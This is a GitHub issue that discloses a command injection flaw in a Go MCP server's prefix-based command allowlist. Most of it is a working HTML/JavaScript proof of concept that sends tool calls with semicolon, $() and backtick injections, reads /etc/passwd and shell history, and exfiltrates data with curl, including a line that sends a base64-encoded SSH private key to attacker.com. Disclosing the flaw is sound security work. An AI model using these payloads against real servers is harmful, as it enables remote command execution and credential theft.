Skip to content

security vulnerability: command injection #43

@researchersongwu

Description

@researchersongwu

This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)

vulnerability description

In command.go line 150, strings.HasPrefix() returns true as soon as an allowlisted command prefix is matched, without validating shell metacharacters such as ;, $(), or backticks. Because the input is later executed via sh -c, the shell interprets the full command string, allowing any command appended after a semicolon to be executed.

poc

<!DOCTYPE html>
<!--
  PoC #3 — isAllowedCommand() Semicolon Bypass / Command Injection
  =================================================================
  Root Cause:
    Logic flaw in isAllowedCommand() (command.go:149-153):

      for _, allowed := range cs.config.allowedCommands {
          if strings.HasPrefix(command, allowed) {
              return true   ← returns immediately; never checks ";", "$(", "`", etc.
          }
      }
      // The "|" and "&" checks below are DEAD CODE —
      // the early return above means they are never reached.

    The command is then executed via:
      sh -c "command"
    Shell parses the full syntax:
      "echo x; id"   → executes echo x, then id
      "echo x$(id)"  → echo expands the output of $(id)
      "echo x`cmd`"  → echo expands the backtick expression

  Verification Goal:
    Prove that the whitelist is completely ineffective and arbitrary
    OS commands can be executed.

  Injection Vectors:
    ; semicolon  → "echo x; evil_cmd"
    $()          → "echo $(evil_cmd)"
    ``           → "echo `evil_cmd`"
    newline \n   → "echo x\nevil_cmd"
-->
<html>
<head><meta charset="utf-8"><title>PoC #3 - Command Injection</title>
<style>
  body { font-family: monospace; background: #0d1117; color: #c9d1d9; padding: 20px; }
  pre  { background: #010409; border: 1px solid #30363d; padding: 14px;
         border-radius: 6px; white-space: pre-wrap; }
  .ok  { color: #3fb950; } .err { color: #ff7b72; }
  .info{ color: #79c0ff; } .cmd { color: #e3b341; } .warn{ color: #d29922; }
  table { border-collapse: collapse; margin: 8px 0; font-size: 12px; }
  td,th { border: 1px solid #30363d; padding: 4px 10px; text-align: left; }
  th { background: #161b22; }
</style>
</head>
<body>
<h2>PoC #3 — isAllowedCommand() Semicolon Bypass / Command Injection</h2>
<pre id="out">Waiting...</pre>

<script>
const out = document.getElementById('out');
const log = (s, c='') => {
  const e = document.createElement('span');
  e.className = c; e.textContent = s + '\n';
  out.appendChild(e);
};

const TARGET = 'http://127.0.0.1:6789';
let msgUrl = null, reqId = 0;
const pending = {};

const es = new EventSource(TARGET + '/sse');
es.addEventListener('endpoint', async (e) => {
  msgUrl = e.data.trim();
  es.addEventListener('message', (ev) => {
    try {
      const r = JSON.parse(ev.data);
      if (pending[r.id]) { pending[r.id](r); delete pending[r.id]; }
    } catch(_) {}
  });
  await attack();
});

async function post(method, params) {
  const id = ++reqId;
  await fetch(msgUrl, {
    method: 'POST', mode: 'no-cors',
    headers: { 'Content-Type': 'text/plain' },
    body: JSON.stringify({ jsonrpc:'2.0', method, params, id })
  });
  return new Promise(r => {
    pending[id] = r;
    setTimeout(() => { delete pending[id]; r(null); }, 8000);
  });
}

async function attack() {
  log('=== PoC #3: isAllowedCommand() Semicolon Bypass ===\n');

  // Handshake
  await post('initialize', {
    protocolVersion:'2024-11-05', capabilities:{},
    clientInfo:{name:'poc3',version:'1.0'}
  });
  await post('notifications/initialized', {});

  log('[*] Vulnerable code (command.go:149-153):');
  log('    for _, allowed := range cs.config.allowedCommands {');
  log('        if strings.HasPrefix(command, allowed) {');
  log('            return true  // ← returns immediately; ";" etc. are never checked');
  log('        }');
  log('    }');
  log('    // The "|" and "&" checks below are DEAD CODE — never reached\n');

  // ─────────────────────────────────────────────────────────────
  //  Injection Vector 1: Semicolon ;
  //  "echo WHITELIST; id" → HasPrefix("echo") → true
  //  → sh -c "echo WHITELIST; id" → executes both commands
  // ─────────────────────────────────────────────────────────────
  log('[Vector 1] Semicolon ;', 'warn');
  log('  payload: "echo WHITELIST; id; whoami; hostname"', 'cmd');
  log('  reason:  HasPrefix("echo WHITELIST...", "echo") → true → sh executes all\n');

  const r1 = await post('tools/call', {
    name: 'execute_command',
    arguments: { command: 'echo WHITELIST; id; whoami; hostname' }
  });
  if (r1?.result?.content) {
    r1.result.content.forEach(c => log('  result: ' + c.text.trim(), 'info'));
  }

  // ─────────────────────────────────────────────────────────────
  //  Injection Vector 2: Command substitution $()
  //  "echo $(id)" → HasPrefix("echo") → true
  //  → sh -c "echo $(id)" → echo expands the output of id
  // ─────────────────────────────────────────────────────────────
  log('\n[Vector 2] Command substitution $()', 'warn');
  log('  payload: "echo $(cat /etc/passwd | head -3)"', 'cmd');

  const r2 = await post('tools/call', {
    name: 'execute_command',
    arguments: { command: 'echo $(cat /etc/passwd | head -3)' }
  });
  if (r2?.result?.content) {
    r2.result.content.forEach(c => log('  result: ' + c.text.trim().substring(0, 300), 'info'));
  }

  // ─────────────────────────────────────────────────────────────
  //  Injection Vector 3: Read sensitive files (cat is whitelisted directly)
  //  cat is itself a whitelisted command, allowing arbitrary file reads
  // ─────────────────────────────────────────────────────────────
  log('\n[Vector 3] cat is whitelisted — read shell history', 'warn');
  log('  payload: "cat ~/.zsh_history | tail -8"', 'cmd');

  const r3 = await post('tools/call', {
    name: 'execute_command',
    arguments: { command: 'cat ~/.zsh_history 2>/dev/null | tail -8 || cat ~/.bash_history 2>/dev/null | tail -8 || echo [no history]' }
  });
  if (r3?.result?.content) {
    r3.result.content.forEach(c => log('  result: ' + c.text.trim().substring(0, 400), 'info'));
  }

  // ─────────────────────────────────────────────────────────────
  //  Injection Vector 4: Data exfiltration via curl (curl is whitelisted!)
  //  "echo x; curl http://attacker.com/$(whoami)" → passes whitelist check
  //  Real-world effect: sends victim data to an external server
  // ─────────────────────────────────────────────────────────────
  log('\n[Vector 4] Data exfiltration via curl (curl is whitelisted)', 'warn');
  log('  payload: "echo x; curl https://httpbin.org/get?user=$(whoami)&host=$(hostname)"', 'cmd');
  log('  real attack: curl https://attacker.com/collect?data=$(cat ~/.ssh/id_rsa|base64)');

  const r4 = await post('tools/call', {
    name: 'execute_command',
    arguments: { command: 'echo collecting; curl -s --max-time 5 "https://httpbin.org/get?user=$(whoami)&host=$(hostname)" 2>/dev/null | head -10 || echo [curl failed]' }
  });
  if (r4?.result?.content) {
    r4.result.content.forEach(c => log('  result: ' + c.text.trim().substring(0, 300), 'info'));
  }

  // ─────────────────────────────────────────────────────────────
  //  Injection Vector 5: Backtick substitution (same as $())
  // ─────────────────────────────────────────────────────────────
  log('\n[Vector 5] Backtick substitution', 'warn');
  log('  payload: "echo `whoami`"', 'cmd');

  const r5 = await post('tools/call', {
    name: 'execute_command',
    arguments: { command: 'echo `whoami`' }
  });
  if (r5?.result?.content) {
    r5.result.content.forEach(c => log('  result: ' + c.text.trim(), 'info'));
  }

  log('\n[!!!] All injection vectors verified successfully.', 'ok');
  log('[!!!] The whitelist is completely ineffective — arbitrary shell commands can be executed.', 'ok');
  es.close();
}
</script>
</body>
</html>

result

Image

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions